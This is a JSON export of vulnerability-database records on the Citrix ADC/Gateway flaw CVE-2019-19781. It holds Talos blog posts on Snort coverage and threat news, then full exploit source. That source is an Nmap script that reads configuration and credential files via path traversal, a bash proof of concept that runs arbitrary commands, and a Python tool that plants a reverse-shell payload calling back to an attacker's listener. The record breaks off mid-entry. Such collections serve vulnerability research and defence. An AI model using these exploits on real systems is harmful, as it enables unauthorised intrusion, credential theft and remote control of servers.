{}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-30T11:00:12", "id": "TALOSBLOG:7192A351B37E9A67C1A5DB760A14DA7E", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/VpsmXEgBYno/threat-source-newsletter-jan-30-2020.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-15T21:25:49", "description": "[](<https://1.bp.blogspot.com/-VTnYmwu8m3c/Xhy-eerp0iI/AAAAAAAABag/IaZw8HUa2sMUAmJgZvkCC7JrtedOpg9AACLcBGAsYHQ/s1600/image1.png>)\n\n_By [Edmund Brumaghin](<https://www.blogger.com/profile/10442669663667294759>), with contributions from Dalton Schaadt. _ \n \n\n\n## Executive Summary\n\n \nRecently, the details of a critical vulnerability affecting Citrix Application Delivery Controller and Citrix Gateway servers were publicly disclosed. This vulnerability is currently being tracked using [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>). A public patch has not yet been released, however, Citrix has [released](<https://support.citrix.com/article/CTX267679>) recommendations for steps that affected organizations can take to help mitigate the risk associated with this vulnerability. Successful exploitation of CVE-2019-19781 could allow a remote attacker to execute arbitrary code on affected systems. \n \nThis vulnerability, which is a directory traversal vulnerability, affects multiple [versions](<https://support.citrix.com/article/CTX267027>) of these products. Since the public disclosure of this vulnerability, several proof-of-concept (PoC) tools have been publicly released that can be used by adversaries to scan for vulnerable systems and attempt to exploit the vulnerable condition to achieve remote code execution. There have been multiple public reports of mass-scanning and exploitation activity already being observed in the wild. As such, it is important that organizations are aware of this vulnerability and take steps to ensure that they mitigate the risk of attacks against their environment. \n \n\n\n## Talos coverage for CVE-2019-19781\n\n \nTalos has developed and released coverage for this vulnerability in the form of [Snort](<https://www.snort.org/products>) and [Firepower](<https://www.cisco.com/c/en/us/products/security/firepower-management-center/index.html>) signatures. These signatures have been available since Dec. 24, 2019 and can be leveraged by organizations to protect their affected systems from possible exploitation attempts until an official patch is publicly released. \n \n**Snort SIDs:** 52512, 52513, 52603 \n \n", "cvss3": {}, "published": "2020-01-15T11:41:36", "type": "talosblog", "title": "New Snort rules protect against recently discovered Citrix vulnerability", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-15T11:41:36", "id": "TALOSBLOG:D7662F18F14544FB63C58CB527CC3A4A", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/uCR7T0fZRUs/snort-rules-cve-2019-19781.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-01-23T17:32:42", "description": "[](<http://4.bp.blogspot.com/-YLRBgfX54uk/XKYbVrHlGXI/AAAAAAAAFu8/MxjUEd-3hhQTW4tZkat-cLDi8G5tVm6bgCK4BGAYYCw/s1600/threat-source.png>) \n_Newsletter compiled by Jon Munshaw._ \n \nWelcome to this week\u2019s Threat Source newsletter \u2014 the perfect place to get caught up on all things Talos from the past week. \n \nThis wasn\u2019t your average Patch Tuesday. Microsoft\u2019s monthly security update was notable for a few reasons. For starters, it\u2019s really time to give up Windows 7, since this is the last free update Microsoft will issue for the operating system. \n \nThere was also a vulnerability that made headlines for leaving Windows open to cryptographic spoofing, which could allow an attacker to sign a malicious file as if it came from a trusted source. The bug was so severe that Microsoft even reached out to the U.S. military ahead of time to issue them an early patch. For more on Patch Tuesday, you can check out our roundup [here](<https://blog.talosintelligence.com/2020/01/microsoft-patch-tuesday-jan-2020.html>) and our Snort rule release [here](<https://blog.snort.org/2020/01/snort-rule-update-for-jan-14-2020.html>). \n \nElsewhere in the vulnerability department, we also released new Snort rules to [protect users against some notable Citrix bugs](<https://blog.talosintelligence.com/2020/01/snort-rules-cve-2019-19781.html>) that have been used in the wild. \n \nAnd, as always, we have the [latest Threat Roundup](<https://blog.talosintelligence.com/2020/01/threat-roundup-0103-0110.html>) where we go through the top threats we saw \u2014 and blocked \u2014 over the past week. \n\n\n### Upcoming public engagements\n\n**Event: **Talos Insights: The State of Cyber Security at Cisco Live Barcelona \n**Location: **Fira Barcelona, Barcelona, Spain \n**Date:** Jan. 27 - 31 \n**Speakers: **Warren Mercer \n**Synopsis: **Cisco Talos specializes in early-warning intelligence and threat analysis necessary for maintaining a secure network. We are responsible for defending networks realize that the security threat landscape is constantly in flux as attackers evolve their skills. Talos advances the overall efficacy of all Cisco security platforms by aggregating data, cooperating with teams of security experts, and applying the cutting-edge big data technology to security. In this talk, we will perform a deep analysis of recent threats and see how Talos leverages large datasets to deliver product improvements and mitigation strategies. \n \n\n\n### Cyber Security Week in Review\n\n * Apple once again [denied the FBI\u2019s request](<https://threatpost.com/apple-denies-fbi-request-to-unlock-shooters-iphone-again/151797/>) for the company to unlock an iPhone belonging to someone involved in a criminal investigation. The agency is attempting to access a device belonging to a man who shot and killed multiple people at a naval base last year. \n * This caused U.S. President Donald Trump to enter the fold. [Trump tweeted](<https://www.bbc.com/news/business-51115645>) that he was unhappy with Apple denying law enforcement access to devices \"used by killers, drug dealers and other violent criminal elements.\u201d \n * More than two weeks after a ransomware attack, foreign currency exchange service Travelex is [finally resuming normal operations](<https://www.zdnet.com/article/two-weeks-after-ransomware-attack-travelex-says-some-systems-are-now-back-online/>). The company recently said it was making \u201cgood progress\u201d on recovery and was expecting customer-facing systems to return soon. \n * The Travelex attack [prompted the U.S. government to release a new warning](<https://www.forbes.com/sites/daveywinder/2020/01/13/us-government-critical-security-alert-upgrade-vpn-or-expect-continued-cyber-attacks/#182cb2f16f70>) that users need to update their VPN services as soon as possible. Vulnerabilities disclosed last year in Pulse Secure VPN leave users open to cyber attacks similar to the ransomware infection on Travelex, according to the U.S. Cybersecurity and Infrastructure Security Agency. \n * The Democratic party in Iowa says it will still use a mobile app to [report primary election results](<https://www.npr.org/2020/01/14/795906732/despite-election-security-fears-iowa-caucuses-will-use-new-smartphone-app>), despite warnings that it is a security risk. Election judges will use the apps to count polling results during the presidential primaries and report those results on their mobile devices, though officials say there will be paper backups to verify the results. \n * The estimated cost of a recent cyber attack on the city of New Orleans is [above $7 million](<https://www.fox8live.com/2020/01/15/city-new-orleans-says-it-will-take-months-recover-recent-cyber-attack/>), $3 million of which the city says it will recoup from its cyber insurance policy. Officials say it will still take months to rebuild their internal network, and departments are still digging out from having to manually carry out many functions for weeks. \n * The U.S. election security czar warned that attempts to interfere in the U.S.\u2019 upcoming presidential election will be [more sophisticated than ever](<https://www.nbcnews.com/politics/national-security/u-s-election-czar-says-attempts-hack-2020-election-will-n1115346>). Shelby Pierson said at a recent presentation America is tracking several hacking groups, including a recent effort uncovered to breach a Ukrainian company at the center of President Donald Trump\u2019s impeachment trial. \n * A critical [vulnerability in a popular WordPress plugin](<https://www.bleepingcomputer.com/news/security/critical-wordpress-plugin-bug-allows-admin-logins-without-password/>) leaves more than 300,000 sites open to attack. An attacker could exploit a bug in InfiniteWP to log in as an administrator on any affected site. \n * Android devices infected with the Faketoken malware began [sending offensive SMS messages](<https://www.kaspersky.com/blog/faketoken-trojan-sends-offensive-sms/32048/>) last week. It sends these messages to foreign numbers, potentially costing the victim money based on their carrier\u2019s policies. \n * The U.S. may invest more than $1 billion into [researching alternatives for 5G](<https://arstechnica.com/tech-policy/2020/01/us-may-subsidize-huawei-alternatives-with-proposed-1-25-billion-fund/>) to avoid working with Chinese tech companies Huawei and ZTE. Legislation submitted in the Senate urged America to counter the Chinese government\u2019s investment in the telecom space.\n\n### Notable recent security issues\n\n**Title: **[Microsoft patches 49 vulnerabilities as part of Patch Tuesday](<https://www.pcworld.com/article/3514172/microsoft-nsa-confirm-killer-windows-10-bug-but-a-patch-is-available.html>) \n**Description: **Microsoft released its monthly security update today, disclosing vulnerabilities across many of its products and releasing corresponding updates. Patch Tuesday covers 49 vulnerabilities, eight of which are considered critical. This month's security update is particularly important for its disclosure of two vulnerabilities related to a core cryptographic component in all versions of Windows. CVE-2020-0601 could allow an attacker to use cryptography to sign a malicious executable, making the file appear as if it was from a trusted source. The victim would have no way of knowing if the file was malicious. Cyber security reporter Brian Krebs says the vulnerability is so serious, Microsoft secretly deployed a patch to branches of the U.S. military prior to today. \n**Snort SIDs: **52593 - 51596, 52604, 52605 \n \n**Title: **[ZeroCleare wiper malware deployed on oil refinery ](<https://www.zdnet.com/article/new-iranian-data-wiper-malware-hits-bapco-bahrains-national-oil-company/>) \n**Description: **ZeroCleare, a wiper malware connected to an Iranian hacker group, was recently deployed against a national oil refinery in Bahrain. An upgraded version has been spotted in the wild, according to security researchers, which can delete files off infected machines. The latest attacks match previous attacks using this malware family, which have gone after other targets connected to Saudi Arabia. Concerns over Iranian cyber attacks have spiked since the U.S. killed a high-profile Iranian general in a drone strike. \n**Snort SIDs: **52572 \u2013 52581 \n\n\n### Most prevalent malware files this week\n\n**SHA 256: **[1c3ed460a7f78a43bab0ae575056d00c629f35cf7e72443b4e874ede0f305871](<https://www.virustotal.com/gui/file/1c3ed460a7f78a43bab0ae575056d00c629f35cf7e72443b4e874ede0f305871/details>) \n**MD5: **c2406fc0fce67ae79e625013325e2a68 \n**Typical Filename: **SegurazoIC.exe \n**Claimed Product: **Digital Communications Inc. \n**Detection Name: **PUA.Win.Adware.Ursu::95.sbx.tg \n** \n****SHA 256: **[d73ea76f6f07f96b337335213418b58e3fbc7e4b519fec0ef3fbd19c1d335d81](<https://www.virustotal.com/gui/file/d73ea76f6f07f96b337335213418b58e3fbc7e4b519fec0ef3fbd19c1d335d81/details>)** ** \n**MD5: **5142c721e7182065b299951a54d4fe80 \n**Typical Filename: **FlashHelperServices.exe \n**Claimed Product: **Flash Helper Service \n**Detection Name: **PUA.Win.Adware.Flashserv::1201 \n \n**SHA 256:** [c3e530cc005583b47322b6649ddc0dab1b64bcf22b124a492606763c52fb048f](<https://www.virustotal.com/gui/file/c3e530cc005583b47322b6649ddc0dab1b64bcf22b124a492606763c52fb048f/details>)** ** \n**MD5: **e2ea315d9a83e7577053f52c974f6a5a \n**Typical Filename: **c3e530cc005583b47322b6649ddc0dab1b64bcf22b124a492606763c52fb048f.bin** ** \n**Claimed Product: **N/A \n**Detection Name: **W32.AgentWDCR:Gen.21gn.1201 \n** \n****SHA 256: **[15716598f456637a3be3d6c5ac91266142266a9910f6f3f85cfd193ec1d6ed8b](<https://www.virustotal.com/gui/file/15716598f456637a3be3d6c5ac91266142266a9910f6f3f85cfd193ec1d6ed8b/details>) \n**MD5: **799b30f47060ca05d80ece53866e01cc \n**Typical Filename: **mf2016341595.exe \n**Claimed Product: **N/A \n**Detection Name: **W32.Generic:Gen.22fz.1201 \n** \n****SHA 256: **[da231330efd623bc7d116ed233828be88951b9df7cc889e747d31279bdf2c2a0 ](<https://www.virustotal.com/gui/file/da231330efd623bc7d116ed233828be88951b9df7cc889e747d31279bdf2c2a0/details>) \n**MD5: **4a4ee4ce27fa4525be327967b8969e13 \n**Typical Filename: **4a4ee4ce27fa4525be327967b8969e13.exe \n**Claimed Product:** N/A \n**Detection Name: **PUA.Win.File.Coinminer::tpd \n \nKeep up with all things Talos by following us on [Twitter](<https://twitter.com/talossecurity?lang=en>). [Snort](<https://twitter.com/snort?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor>), [ClamAV](<https://twitter.com/clamav?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor>) and [Immunet](<https://twitter.com/immunet?lang=en>) also have their own accounts you can follow to keep up with their latest updates. You can also subscribe to the Beers with Talos podcast [here](<https://itunes.apple.com/us/podcast/beers-with-talos-podcast/id1236329410>) (as well as on your favorite podcast app). And, if you\u2019re not already, you can also subscribe to the weekly Threat Source newsletter [here](<https://engage2demand.cisco.com/SubscribeTalosThreatSource>). \n\n", "cvss3": {}, "published": "2020-01-23T07:27:43", "type": "talosblog", "title": "Threat Source newsletter (Jan. 16, 2019)", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2019-19781", "CVE-2020-0601"], "modified": "2020-01-23T07:27:43", "id": "TALOSBLOG:C73CDA82B845335B5DCC8A94FB5662D8", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/2OjR0NsavV0/threat-source-newsletter-jan-26-2019.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "exploitpack": [{"lastseen": "2020-04-01T20:39:50", "description": "\nCitrix Application Delivery Controller (ADC) and Gateway 13.0 - Path Traversal", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-16T00:00:00", "type": "exploitpack", "title": "Citrix Application Delivery Controller (ADC) and Gateway 13.0 - Path Traversal", "bulletinFamily": "exploit", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-16T00:00:00", "id": "EXPLOITPACK:213FB88DED3CCAB77D32289A335E386D", "href": "", "sourceData": "# Exploit Title: Citrix Application Delivery Controller (ADC) and Gateway 13.0 - Path Traversal\n# Date: 2019-12-17\n# CVE: CVE-2019-19781\n# Vulenrability: Path Traversal\n# Vulnerablity Discovery: Mikhail Klyuchnikov\n# Exploit Author: Dhiraj Mishra\n# Vulnerable Version: 10.5, 11.1, 12.0, 12.1, and 13.0\n# Vendor Homepage: https://www.citrix.com/\n# References: https://support.citrix.com/article/CTX267027\n# https://github.com/nmap/nmap/pull/1893\n\nlocal http = require \"http\"\nlocal stdnse = require \"stdnse\"\nlocal shortport = require \"shortport\"\nlocal table = require \"table\"\nlocal string = require \"string\"\nlocal vulns = require \"vulns\"\nlocal nmap = require \"nmap\"\nlocal io = require \"io\"\n\ndescription = [[\nThis NSE script checks whether the traget server is vulnerable to\nCVE-2019-19781\n]]\n---\n-- @usage\n-- nmap --script https-citrix-path-traversal -p <port> <host>\n-- nmap --script https-citrix-path-traversal -p <port> <host> --script-args\noutput='file.txt'\n-- @output\n-- PORT STATE SERVICE\n-- 443/tcp open http\n-- | CVE-2019-19781:\n-- | Host is vulnerable to CVE-2019-19781\n-- @changelog\n-- 16-01-2020 - Author: Dhiraj Mishra (@RandomDhiraj)\n-- 17-12-2019 - Discovery: Mikhail Klyuchnikov (@__Mn1__)\n-- @xmloutput\n-- <table key=\"NMAP-1\">\n-- <elem key=\"title\">Citrix ADC Path Traversal aka (Shitrix)</elem>\n-- <elem key=\"state\">VULNERABLE</elem>\n-- <table key=\"description\">\n-- <elem>Citrix Application Delivery Controller (ADC) and Gateway 10.5,\n11.1, 12.0, 12.1, and 13.0 are vulnerable to a unauthenticated path\n-- traversal vulnerability that allows attackers to read configurations or\nany other file.\n-- </table>\n-- <table key=\"dates\">\n-- <table key=\"disclosure\">\n-- <elem key=\"year\">2019</elem>\n-- <elem key=\"day\">17</elem>\n-- <elem key=\"month\">12</elem>\n-- </table>\n-- </table>\n-- <elem key=\"disclosure\">17-12-2019</elem>\n-- <table key=\"extra_info\">\n-- </table>\n-- <table key=\"refs\">\n-- <elem>https://support.citrix.com/article/CTX267027</elem>\n-- <elem>https://nvd.nist.gov/vuln/detail/CVE-2019-19781</elem>\n-- </table>\n-- </table>\n\nauthor = \"Dhiraj Mishra (@RandomDhiraj)\"\nDiscovery = \"Mikhail Klyuchnikov (@__Mn1__)\"\nlicense = \"Same as Nmap--See https://nmap.org/book/man-legal.html\"\ncategories = {\"discovery\", \"intrusive\",\"vuln\"}\n\nportrule = shortport.ssl\n\naction = function(host,port)\n local outputFile = stdnse.get_script_args(SCRIPT_NAME..\".output\") or nil\n local vuln = {\n title = 'Citrix ADC Path Traversal',\n state = vulns.STATE.NOT_VULN,\n description = [[\nCitrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0,\n12.1, and 13.0 are vulnerable\nto a unauthenticated path traversal vulnerability that allows attackers to\nread configurations or any other file.\n ]],\n references = {\n 'https://support.citrix.com/article/CTX267027',\n 'https://nvd.nist.gov/vuln/detail/CVE-2019-19781',\n },\n dates = {\n disclosure = {year = '2019', month = '12', day = '17'},\n },\n }\n local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)\n local path = \"/vpn/../vpns/cfg/smb.conf\"\n local response\n local output = {}\n local success = \"Host is vulnerable to CVE-2019-19781\"\n local fail = \"Host is not vulnerable\"\n local match = \"[global]\"\n local credentials\n local citrixADC\n response = http.get(host, port.number, path)\n\n if not response.status then\n stdnse.print_debug(\"Request Failed\")\n return\n end\n if response.status == 200 then\n if string.match(response.body, match) then\n stdnse.print_debug(\"%s: %s GET %s - 200 OK\",\nSCRIPT_NAME,host.targetname or host.ip, path)\n vuln.state = vulns.STATE.VULN\n citrixADC = ((\"Path traversal: https://%s:%d%s\"):format(host.targetname\nor host.ip,port.number, path))\n if outputFile then\n credentials = response.body:gsub('%W','.')\nvuln.check_results = stdnse.format_output(true, citrixADC)\n vuln.extra_info = stdnse.format_output(true, \"Credentials are being\nstored in the output file\")\nfile = io.open(outputFile, \"a\")\nfile:write(credentials, \"\\n\")\n else\n vuln.check_results = stdnse.format_output(true, citrixADC)\n end\n end\n elseif response.status == 403 then\n stdnse.print_debug(\"%s: %s GET %s - %d\", SCRIPT_NAME, host.targetname\nor host.ip, path, response.status)\n vuln.state = vulns.STATE.NOT_VULN\n end\n\n return vuln_report:make_output(vuln)\nend", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-04-01T20:39:50", "description": "\nCitrix Application Delivery Controller and Citrix Gateway - Remote Code Execution (PoC)", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-11T00:00:00", "type": "exploitpack", "title": "Citrix Application Delivery Controller and Citrix Gateway - Remote Code Execution (PoC)", "bulletinFamily": "exploit", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-11T00:00:00", "id": "EXPLOITPACK:04BD77915CB7D5152AF289164D21448A", "href": "", "sourceData": "#!/bin/bash\n# Remote Code Execution Exploit for Citrix Application Delivery Controller and Citrix Gateway - CVE-2019-19781\n# Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE e.g : bash CVE-2019-19781.sh XX.XX.XX.XX 'uname -a'\n# Release Date : 11/01/2020\n# Follow Us : https://twitter.com/ProjectZeroIN / https://github.com/projectzeroindia\necho \"=================================================================================\n ___ _ _ ____ ___ _ _\n| _ \\ _ _ ___ (_) ___ __ | |_ |_ / ___ _ _ ___ |_ _| _ _ __| |(_) __ _\n| _/| '_|/ _ \\ | |/ -_)/ _|| _| / / / -_)| '_|/ _ \\ | | | ' \\ / _' || |/ _' |\n|_| |_| \\___/_/ |\\___|\\__| \\__| /___|\\___||_| \\___/ |___||_||_|\\__,_||_|\\__,_|\n |__/ CVE-2019-19781\n=================================================================================\"\n##############################\nif [ -z \"$1\" ];\nthen\necho -ne 'Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE\\n'\nexit;\nfi\nfilenameid=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1);\ncurl -s -k \"https://$1/vpn/../vpns/portal/scripts/newbm.pl\" -d \"url=http://example.com\\&title=[%25+template.new({'BLOCK'%3d'exec(\\'$2 | tee /netscaler/portal/templates/$filenameid.xml\\')%3b'})+%25]\\&desc=test\\&UI_inuse=RfWeb\" -H \"NSC_USER: /../../../../../../../../../../netscaler/portal/templates/$filenameid\" -H 'NSC_NONCE: test1337' -H 'Content-type: application/x-www-form-urlencoded' --path-as-is\necho -ne \"\\n\" ;curl -m 3 -k \"https://$1/vpn/../vpns/portal/$filenameid.xml\" -s -H \"NSC_NONCE: pwnpzi1337\" -H \"NSC_USER: pwnpzi1337\" --path-as-is\necho -ne \"Command Output :\\n\"\ncurl -m 3 -k \"https://$1/vpn/../vpns/portal/$filenameid.xml\" -H \"NSC_NONCE: pwnpzi1337\" -H \"NSC_USER: pwnpzi1337\" --path-as-is", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-04-01T20:39:50", "description": "\nCitrix Application Delivery Controller and Citrix Gateway - Remote Code Execution", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-11T00:00:00", "type": "exploitpack", "title": "Citrix Application Delivery Controller and Citrix Gateway - Remote Code Execution", "bulletinFamily": "exploit", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2020-01-11T00:00:00", "id": "EXPLOITPACK:959CB519C011AA90D2BEE4ED33D8FEBF", "href": "", "sourceData": "#!/usr/bin/python3\n#\n# Exploits the Citrix Directory Traversal Bug: CVE-2019-19781\n#\n# You only need a listener like netcat to catch the shell.\n#\n# Shout out to the team: Rob Simon, Justin Elze, Logan Sampson, Geoff Walton, Christopher Paschen, Kevin Haubris, Scott White\n#\n# Tool Written by: Rob Simon and David Kennedy\n\nimport requests\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # disable warnings\nimport random\nimport string\nimport time\nfrom random import randint\nimport argparse\nimport sys\n\n# random string generator\ndef randomString(stringLength=10):\n letters = string.ascii_lowercase\n return ''.join(random.choice(letters) for i in range(stringLength))\n\n# our random string for filename - will leave artifacts on system\nfilename = randomString()\nrandomuser = randomString()\n\n# generate random number for the nonce\nnonce = randint(5, 15) \n\n# this is our first stage which will write out the file through the Citrix traversal issue and the newbm.pl script\n# note that the file location will be in /netscaler/portal/templates/filename.xml\ndef stage1(filename, randomuser, nonce, victimip, victimport, attackerip, attackerport):\n\n # encoding our payload stub for one netcat listener - awesome work here Rob Simon (KC)\n encoded = \"\"\n i=0\n text = (\"\"\"python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\"\"\" % (attackerip, attackerport))\n while i < len(text):\n encoded = encoded + \"chr(\"+str(ord(text[i]))+\") . \"\n i += 1\n encoded = encoded[:-3]\n payload=\"[% template.new({'BLOCK'='print readpipe(\" + encoded + \")'})%]\"\n headers = ( \n {\n 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0',\n 'NSC_USER' : '../../../netscaler/portal/templates/%s' % (filename),\n 'NSC_NONCE' : '%s' % (nonce),\n })\n\n data = (\n {\n \"url\" : \"127.0.0.1\",\n \"title\" : payload,\n \"desc\" : \"desc\",\n \"UI_inuse\" : \"a\"\n })\n\n url = (\"https://%s:%s/vpn/../vpns/portal/scripts/newbm.pl\" % (victimip, victimport))\n requests.post(url, data=data, headers=headers, verify=False)\n\n# this is our second stage that triggers the exploit for us\ndef stage2(filename, randomuser, nonce, victimip, victimport):\n headers = (\n {\n 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0',\n 'NSC_USER' : '%s' % (randomuser),\n 'NSC_NONCE' : '%s' % (nonce),\n })\n\n requests.get(\"https://%s:%s/vpn/../vpns/portal/%s.xml\" % (victimip, victimport, filename), headers=headers, verify=False)\n\n\n# start our main code to execute\nprint('''\n\n .o oOOOOOOOo OOOo\n Ob.OOOOOOOo OOOo. oOOo. .adOOOOOOO\n OboO\"\"\"\"\"\"\"\"\"\"\"\".OOo. .oOOOOOo. OOOo.oOOOOOo..\"\"\"\"\"\"\"\"\"'OO\n OOP.oOOOOOOOOOOO \"POOOOOOOOOOOo. `\"OOOOOOOOOP,OOOOOOOOOOOB'\n `O'OOOO' `OOOOo\"OOOOOOOOOOO` .adOOOOOOOOO\"oOOO' `OOOOo\n .OOOO' `OOOOOOOOOOOOOOOOOOOOOOOOOO' `OO\n OOOOO '\"OOOOOOOOOOOOOOOO\"` oOO\n oOOOOOba. .adOOOOOOOOOOba .adOOOOo.\n oOOOOOOOOOOOOOba. .adOOOOOOOOOO@^OOOOOOOba. .adOOOOOOOOOOOO\n OOOOOOOOOOOOOOOOO.OOOOOOOOOOOOOO\"` '\"OOOOOOOOOOOOO.OOOOOOOOOOOOOO\n \"OOOO\" \"YOoOOOOMOIONODOO\"` . '\"OOROAOPOEOOOoOY\" \"OOO\"\n Y 'OOOOOOOOOOOOOO: .oOOo. :OOOOOOOOOOO?' :`\n : .oO%OOOOOOOOOOo.OOOOOO.oOOOOOOOOOOOO? .\n . oOOP\"%OOOOOOOOoOOOOOOO?oOOOOO?OOOO\"OOo\n '%o OOOO\"%OOOO%\"%OOOOO\"OOOOOO\"OOO':\n `$\" `OOOO' `O\"Y ' `OOOO' o .\n . . OP\" : o .\n :\n\nCitrixmash v0.1 - Exploits the Citrix Directory Traversal Bug: CVE-2019-19781\nTool Written by: Rob Simon and Dave Kennedy\nContributions: The TrustedSec Team \nWebsite: https://www.trustedsec.com\nINFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/\n\nThis tool exploits a directory traversal bug within Citrix ADC (NetScalers) which calls a perl script that is used\nto append files in an XML format to the victim machine. This in turn allows for remote code execution.\n\nBe sure to cleanup these two file locations:\n /var/tmp/netscaler/portal/templates/\n /netscaler/portal/templates/\n\nUsage:\n\npython citrixmash.py <victimipaddress> <victimport> <attacker_listener> <attacker_port>\\n''')\n\n# parse our commands\nparser = argparse.ArgumentParser()\nparser.add_argument(\"target\", help=\"the vulnerable server with Citrix (defaults https)\")\nparser.add_argument(\"targetport\", help=\"the target server web port (normally on 443)\")\nparser.add_argument(\"attackerip\", help=\"the attackers reverse listener IP address\")\nparser.add_argument(\"attackerport\", help=\"the attackersa reverse listener port\")\nargs = parser.parse_args()\nprint(\"[*] Firing STAGE1 POST request to create the XML template exploit to disk...\")\nprint(\"[*] Saving filename as %s.xml on the victim machine...\" % (filename))\n# trigger our first post\nstage1(filename, randomuser, nonce, args.target, args.targetport, args.attackerip, args.attackerport)\nprint(\"[*] Sleeping for 2 seconds to ensure file is written before we call it...\")\ntime.sleep(2)\nprint(\"[*] Triggering GET request for the newly created file with a listener waiting...\")\nprint(\"[*] Shell should now be in your listener... enjoy. Keep this window open..\")\nprint(\"[!] Be sure to cleanup the two locations here (artifacts): /var/tmp/netscaler/portal/templates/, /netscaler/portal/templates/\")\n# trigger our second post\nstage2(filename, randomuser, nonce, args.target, args.targetport)", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-04-01T20:39:50", "description": "\nCitrix Application Delivery Controller and Gateway 10.5 - Remote Code Execution (Metasploit)", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", 